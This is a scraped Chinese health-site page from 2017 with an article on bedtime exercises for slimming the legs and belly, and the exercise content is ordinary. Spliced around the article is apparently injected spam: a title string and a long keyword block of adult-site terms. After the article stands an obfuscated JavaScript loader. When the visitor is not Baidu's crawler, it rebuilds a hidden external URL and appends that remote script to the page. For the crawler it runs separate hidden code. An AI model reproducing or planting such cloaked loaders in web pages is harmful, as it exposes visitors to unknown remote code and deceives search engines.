久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

瘦腿瘦肚子的睡前動作有哪些呢

2017-04-23 00:20:11  來源:360常識網   熱度:
導語:越來越多的年輕女性加入到了減肥行列,當然對于不同的部位,需要不同的減肥形式。日常生活當中,很多人忙于自己的工作,沒有時間去健身房做

越來越多的年輕女性加入到了減肥行列,當然對于不同的部位,需要不同的減肥形式。日常生活當中,很多人忙于自己的工作,沒有時間去健身房做各種各樣的運動,那么在晚上睡覺之前,適當的做一些小運動,就可以起到減肥的作用,您知道瘦腿瘦肚子的睡前動作有哪些呢!

一、瘦肚子

Step1

身體放松,平躺在地上。膝蓋伸直并攏,雙腿慢慢向上抬起,直到與身體呈90度的位置。堅持10秒后,慢慢放下。此動作每天重復15-20次。

Step2

身體平躺在地上,頭部和肩膀著地。膝蓋并攏彎曲,身體慢慢抬起到肩膀離開地面,左手去碰右膝蓋。然后,再次抬起身體時用右手去碰左膝蓋。此動作每天重復10-15次。

Step3

身體回到初始位置,全身放松。深呼吸后開始慢慢吐氣。吐到一半后屏住呼吸。接著收緊腹部,挺起前胸,然后慢慢吐氣。此動作每天重復25-30次。

Step4

右腿著地,保持直立。左腿抬起,大腿與地面平行。然后手掌輕輕握拳,身體向左邊扭轉,右手肘部碰左膝蓋。接著換到相反方向,此套動作每天重復10-15次。

二、瘦腿

盡量抬腿!并保持此一姿勢數秒種,直到雙腳感到疲乏為止。

緩緩抬起腳保持這一姿勢數秒鐘將小腿緩緩抬起,直到與大腿同高處,保持此姿勢30秒后收腿。以10-15次為一組動作,不妨在做完一組動作后,再逐漸增加運動量。

雙腿腳踝交叉、同時彎曲膝蓋。采用仰臥姿勢,雙手置于臀部下面、彎曲膝蓋、腳踝交差。

抬起雙腿,伸展膝蓋交叉的腳朝天花板。抬起并盡量伸展雙膝,以收縮大腿肌肉。以15-20次為一組動作、做1-3組。

以上介紹的瘦腿瘦肚子的睡前動作,自己在家中就可以完成。不需要任何的經濟負擔,同時減肥是一個長期的過程,需要長期的去鍛煉,不能夠3天打魚兩天曬網,這樣反而對自己的身體健康有很好的幫助作用,也會起到一些相反的效果。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 1区2区3区视频 | 天堂色网| 欧美精品一区视频 | 中文字幕国产视频 | 国产黄色大片 | 精品一区二区三区免费 | 国产一级免费在线观看 | 99精品欧美一区二区蜜桃免费 | 亚洲精品免费视频 | 久久精品国产精品亚洲 | 欧美二区三区 | 精品视频久久 | 在线区| 欧美午夜视频在线观看 | 一级免费视频 | 激情欧美一区二区三区中文字幕 | 四虎影视最新网址 | 日韩精品在线一区 | 国产成人精品免高潮在线观看 | 天天操综 | 亚洲a级| 国产欧美一区在线 | 国产精品一区久久久久 | 国产精品视频一二三区 | 欧美精品一区二区三区蜜桃视频 | 成人天堂资源www在线 | 国产视频一区二区在线 | 国产婷婷色一区二区三区 | 色av综合在线 | 欧美精品久久久 | 欧美日韩中文国产一区发布 | 97视频网址 | 久久九 | 婷婷综合五月 | 夜本色 | 亚洲精品视频免费在线 | a成人在线 | 国产精品99久久久久久动医院 | 亚洲精品一二三四五区 | 国产精品久久久久久吹潮 | 国产精品久久精品 |